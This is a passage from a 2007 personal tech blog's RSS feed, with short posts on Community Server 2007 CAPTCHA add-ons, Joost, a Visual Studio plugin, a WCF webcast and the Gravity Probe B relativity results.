    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3707&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CS 2007 Captcha Control</title>
      <link>/post/2007/05/cs-2007-captcha-control/</link>
      <pubDate>Tue, 01 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/cs-2007-captcha-control/</guid>
      <description>&lt;p&gt;First things first - no I am still alive just have been awfully busy and not had a chance to blog. &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;A couple of guys have implemented two &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Captcha&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Captcha
	&lt;/span&gt;
&lt;/a&gt; controls (I had &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2006/07/30/Upgraded-to-CS-2.1-Beta-2.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		first implemented this
	&lt;/span&gt;
&lt;/a&gt; as part of upgrading to CS 2.1 Beta 2) for CS 2007.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Brenda Tompkins&amp;rsquo;s &lt;a
	
		href = &#34;http://codebetter.com/files/folders/community_server_add-ons/entry162534.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Captcha control
	&lt;/span&gt;
&lt;/a&gt; (which I am using here) - this in addition to the blog comments also supports contact, photos, file comments and registration - cool. Steps to install this is fairly straight forward and you don&amp;rsquo;t need to modify any of the skin files - which makes life quite easy!&lt;/li&gt;
&lt;li&gt;Jose Fco Bonnin also has released a &lt;a
	
		href = &#34;http://blogs.clearscreen.com/jfbonnin/archive/2007/04/27/6327.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Captcha control
	&lt;/span&gt;
&lt;/a&gt; which I have not tried out so cannot comment first hand.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3700&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Joost gone live? Not that I can see it</title>
      <link>/post/2007/05/joost-gone-live-not-that-i-can-see-it/</link>
      <pubDate>Tue, 01 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/joost-gone-live-not-that-i-can-see-it/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.macnn.com/articles/07/05/01/joost.goes.live/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Contrary to some reports
	&lt;/span&gt;
&lt;/a&gt; that Joost has gone live with unlimited invites and 150 channels - at least that is not what I am seeing. I don&amp;rsquo;t know if I need to do anything &amp;ldquo;special&amp;rdquo;, but here is what I have when I login to Joost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Number of Invites&lt;/strong&gt;: Zero, yes that is a 0 as in nada, zip, zilch, etc.&lt;/p&gt;
&lt;p&gt; &lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/JoostgoneliveNotthatIcanseeit_2C2/image010.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image0_thumb4.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Number of Channels&lt;/strong&gt; (so far): 26 - not 150, but 124 &lt;em&gt;less&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/JoostgoneliveNotthatIcanseeit_2C2/image011.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image0_thumb7.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Click on the Images above to see the full version.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3703&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Visual Studio 2005 Plugin for CS</title>
      <link>/post/2007/05/visual-studio-2005-plugin-for-cs/</link>
      <pubDate>Tue, 01 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/visual-studio-2005-plugin-for-cs/</guid>
      <description>&lt;p&gt;Zeddy has &lt;a
	
		href = &#34;http://geeks.netindonesia.net/blogs/zeddy/archive/2007/04/25/Visual-Studio-Plugin-for-Community-Server.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		released a plugin for VS 2005
	&lt;/span&gt;
&lt;/a&gt;  (with a screen-shot on his blog) which allows you to copy and paste the code from VS.NET directly into a CS blog. It only supports C#, so if you are using VB.NET you are stuck with another method (such as copy&amp;rsquo;ing into Word and then using that - though as Zeddy also points out that has issues). See&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3702&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Upgraded to CS 2007</title>
      <link>/post/2007/04/upgraded-to-cs-2007/</link>
      <pubDate>Wed, 18 Apr 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/04/upgraded-to-cs-2007/</guid>
      <description>&lt;p&gt;Well I bit the bullet and upgraded the blog to run on CS 2007 RTM - yes contrary to what I had said earlier. Initial indications look good so far and I only had to make a couple of changes.&lt;/p&gt;
&lt;p&gt;There are still a few things which I have not tried like the Google CS plugin, and I suppose the CAPTCHA control will stop working. I would need to look at those over the next few days.&lt;/p&gt;
&lt;p&gt;Meanwhile, if you find something that is not working drop me a note.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3680&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MSDN Webcast: Hosting Options, COM&#43; Integration &amp; Peer to Peer model</title>
      <link>/post/2007/04/msdn-webcast-hosting-options-com-integration-peer-to-peer-model/</link>
      <pubDate>Mon, 16 Apr 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/04/msdn-webcast-hosting-options-com-integration-peer-to-peer-model/</guid>
      <description>&lt;p&gt;One of the MSDN Webcasts that I along with Shawn, Dennis, and Chris did on the following topics with some samples from the WCF Pro book. This is a Level 300 Webcast, and there is a lot of material to cover! If you would like us to do a Webcast on any specific topic from WCF let us know - we will see what we can do.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hosting Options&lt;/li&gt;
&lt;li&gt;COM+ Integration&lt;/li&gt;
&lt;li&gt;Peer to Peer Model&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are interested you can &lt;a
	
		href = &#34;https://www.livemeeting.com/cc/msevents/view?id=1032334953&amp;amp;role=attend&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		see the recording
	&lt;/span&gt;
&lt;/a&gt; for this session.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Time and Space Bend</title>
      <link>/post/2007/04/time-and-space-bend/</link>
      <pubDate>Mon, 16 Apr 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/04/time-and-space-bend/</guid>
      <description>&lt;p&gt;In case you have not been following the news lately, NASA and &lt;a
	
		href = &#34;http://einstein.stanford.edu/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Stanford University&amp;rsquo;s
	&lt;/span&gt;
&lt;/a&gt; joint effort - &lt;a
	
		href = &#34;http://www.nasa.gov/mission_pages/gpb/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Gravity Probe B
	&lt;/span&gt;
&lt;/a&gt; after 17-odd months of launch and collecting data has proved one of the two not-as-yet-proven aspect&amp;rsquo;s of Einstein&amp;rsquo;s Theory of Relativity.&lt;/p&gt;
&lt;p&gt;Simply put (and it will be simple as I only have a fairly basic grasp on Physics - it was one of my favorite subjects in School, but that was many moons ago 😄, Isaac Newton believed (as shown by NASA&amp;rsquo;s image below) that both time and space were fixed entities and gravity was the force which acted between the object. So, in Newton&amp;rsquo;s world a perfect gyroscope orbiting the Earth would remain forever fixed to relative space.&lt;/p&gt;
&lt;p&gt;Einstein on the other hand more than 90 years ago said both space and time are relative entities which are interwoven into a &amp;ldquo;fabric&amp;rdquo; that he called space-time. In Einstein&amp;rsquo;s world an object like Earth distorts the fabric of time and space (as shown in NASA&amp;rsquo;s image on the right) and gravity is not a force as Isaac Newton discovered, but rather is a consequence of the distortion of both space and time. The bigger the object, the greater this distortion. It is both matter and energy that distort space-time, by curving it around themselves.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/TimeandSpaceBend_13946/timeandspacebend2.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/timeandspacebend_thumb.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So in Einstein&amp;rsquo;s world the spin of the same perfect gyroscope orbiting Earth will &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Precession&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		precess
	&lt;/span&gt;
&lt;/a&gt; i.e. change to the direction of the axis on which it is rotating in relation to relative space.&lt;/p&gt;
&lt;p&gt;I liked the analogy used by the &lt;a
	
		href = &#34;http://www.guardian.co.uk/science/story/0,,2057534,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Guardian
	&lt;/span&gt;
&lt;/a&gt; to describe this time-space:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Just as a bowling ball placed on a trampoline stretches the fabric and causes it to sag, so planets and stars warp space-time - a phenomenon known as the &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Geodetic_effect&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		geodetic effect
	&lt;/span&gt;
&lt;/a&gt;. A marble moving along the trampoline will be drawn inexorably towards the ball.&lt;/p&gt;
&lt;p&gt;Thus the planets orbiting the Sun are not being pulled by the Sun; they are following the curved space-time deformation caused by the Sun. The reason the planets never fall into the Sun is because of the speed at which they are traveling.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The second as-yet unproven part part of the theory is called &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Frame-dragging&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		frame-dragging
	&lt;/span&gt;
&lt;/a&gt; and states that as the object such as Earth in the aforementioned example, spins, it drags the the fabric of the universe behind it. This is still not proved and will be another few months until enough data is collected.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3675&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>EU vs Italy?</title>
      <link>/post/2007/04/eu-vs-italy/</link>
      <pubDate>Sat, 14 Apr 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/04/eu-vs-italy/</guid>
      <description>&lt;p&gt;Don&amp;rsquo;t get me wrong - I love Italy - the country (whatever little I have seen), the food, the  language, the people but &lt;a
	
		href = &#34;http://tcc.itc.it/people/rocchi/fun/europe.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		all this is also true for India
	&lt;/span&gt;
&lt;/a&gt; &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3673&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Community Server 2007 RC1 available</title>
      <link>/post/2007/04/communi